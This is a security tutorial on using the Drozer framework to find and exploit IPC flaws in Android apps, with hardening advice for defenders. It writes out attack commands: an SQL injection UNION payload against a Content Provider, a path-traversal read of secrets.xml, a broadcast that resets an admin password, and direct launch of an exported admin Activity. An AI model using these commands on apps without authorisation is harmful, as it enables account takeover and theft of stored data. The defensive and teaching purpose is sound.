Drozer: Android Application Security Testing for IPC Vulnerabilities

Last updated: May 18, 2026

Drozer is the Android equivalent of Metasploit — a comprehensive framework for assessing Android applications and the OS itself. Where Frida shines at runtime hooking, Drozer shines at IPC analysis: discovering exposed Activities, Services, Broadcast Receivers, Content Providers, and exploiting them. This article covers Drozer’s practitioner workflow on Android 14/15 in 2026, where IPC vulnerabilities still hide, and what defenders should harden.

The mental model

Android apps communicate through Intents — messages between Activities, Services, and Receivers. Each component declared in AndroidManifest.xml can be marked exported (other apps can invoke it) or not. Misconfigured exports are a privilege-escalation primitive: an unprivileged app on the device can invoke privileged operations in a target app.

Drozer is the framework for finding and exploiting these. Install Drozer agent (an APK) on the target device; connect from laptop; explore.

Setup

# Install agent on emulator
adb install drozer-agent.apk

# On device, open Drozer app, enable embedded server
# From laptop:
adb forward tcp:31415 tcp:31415
drozer console connect

Now you have a Python-like prompt connected to the agent.

Core enumeration commands

# List all installed packages
dz> run app.package.list

# Detail on a specific package
dz> run app.package.info -a com.target.app

# Find exported attack surface
dz> run app.package.attacksurface com.target.app
# Returns: Activities exported: 5, Services exported: 2, Receivers: 3, Content Providers: 1

# Enumerate exported activities
dz> run app.activity.info -a com.target.app

# Enumerate exported content providers
dz> run app.provider.info -a com.target.app

The four common findings

1. Exported Activity that bypasses authentication

Many apps require login before access — but if a sensitive Activity is exported, you can launch it directly:

dz> run app.activity.start --component com.target.app com.target.app.AdminActivity
# AdminActivity launches without login flow

Mitigation: mark sensitive Activities android:exported="false" or guard with permissions.

2. Content Provider data leakage

Content Providers expose structured data via URI. If exported with weak (or no) permissions:

dz> run app.provider.finduri com.target.app
# Returns content://com.target.app.provider/users

dz> run app.provider.query content://com.target.app.provider/users
# Dumps the table — including passwords if stored

Some providers also support write:

dz> run app.provider.update content://com.target.app.provider/settings 
  --selection "key=?" --selection-args admin_user 
  --string value evil_user

3. SQL injection in Content Provider

Content Provider query() takes a selection clause that is often concatenated into SQL:

dz> run app.provider.query content://com.target.app/users 
  --selection "1=1) UNION SELECT password, NULL FROM admins--"

Drozer’s scanner.provider.injection module automates testing.

4. Broadcast Receiver privilege escalation

Receivers handle broadcasts. If a privileged Receiver is exported, send it the broadcast:

dz> run app.broadcast.send --component com.target.app com.target.app.UPDATE_CONFIG 
  --extra string admin_password new_password

Many apps in our experience accept config changes via broadcast for “internal” use, then forget to lock down the receiver.

Path traversal in Content Providers

Content Providers can also expose files. If the provider serves files via openFile() with insufficient path validation:

dz> run app.provider.read content://com.target.app/files/../../../shared_prefs/secrets.xml
# Read arbitrary file from app's internal storage

Mitigation: validate paths, use FileProvider with strict allow-list of directories.

Practical workflow

1. Install target APK in emulator.
2. Run Drozer’s app.package.attacksurface — identify exported components.
3. For each exported component, decompile the app (jadx-gui) and read the corresponding source.
4. Find logic gaps — auth checks missing, SQL concatenation, path traversal, weak intent validation.
5. Exploit via Drozer commands.

Many findings are real bugs; report them with screenshots and command sequences for reproduction.

Detection / defender perspective

Build-time checks:

• Use android:exported explicitly on every component (Android 12+ requires it). Set false unless export is needed.
• For exported components that need restricted access, define custom permissions with android:protectionLevel="signature".
• Validate inputs from Intents — never trust extras.
• For Content Providers, parameterise SQL queries; for file providers, use FileProvider not custom path handling.
• Run static analysis (MobSF, SonarQube Mobile) at every release. Integrate Drozer scans in QA cycles.

Runtime / OS-level:

• Per-app permissions audited at install time — Android 12+ scoped storage helps.
• Apps requesting unnecessary export should be flagged in store listings.

Where to find your next bug

• Older banking and fintech apps — many exported components written before security-by-default became the norm.
• White-label apps — multiple branded clients of the same SDK; one finding hits multiple apps.
• Apps with tablet / TV variants — alternate launchers often expose internal Activities.
• System apps and OEM-bundled apps — large attack surface, less scrutiny.

Compliance angle

• OWASP MASVS V4 (auth, sessions), V5 (network), V6 (platform interaction) all touch Drozer findings.
• DPDP §8(5) — apps with exported components leaking personal data fail reasonable security.
• RBI mobile banking framework — explicit IPC hardening expectations.

The takeaway

IPC vulnerabilities are the unglamorous mobile-pentest finding class — not novel, not exotic, but routinely present and routinely impactful. Drozer’s command-line workflow is faster than re-implementing equivalent ADB/Intent commands manually. Run it against any Android app you build or test before shipping. Findings are typically one-line manifest fixes; the cost of skipping them is privilege escalation in production.

Related engagement → How we ran a mobile + API security review for a BFSI client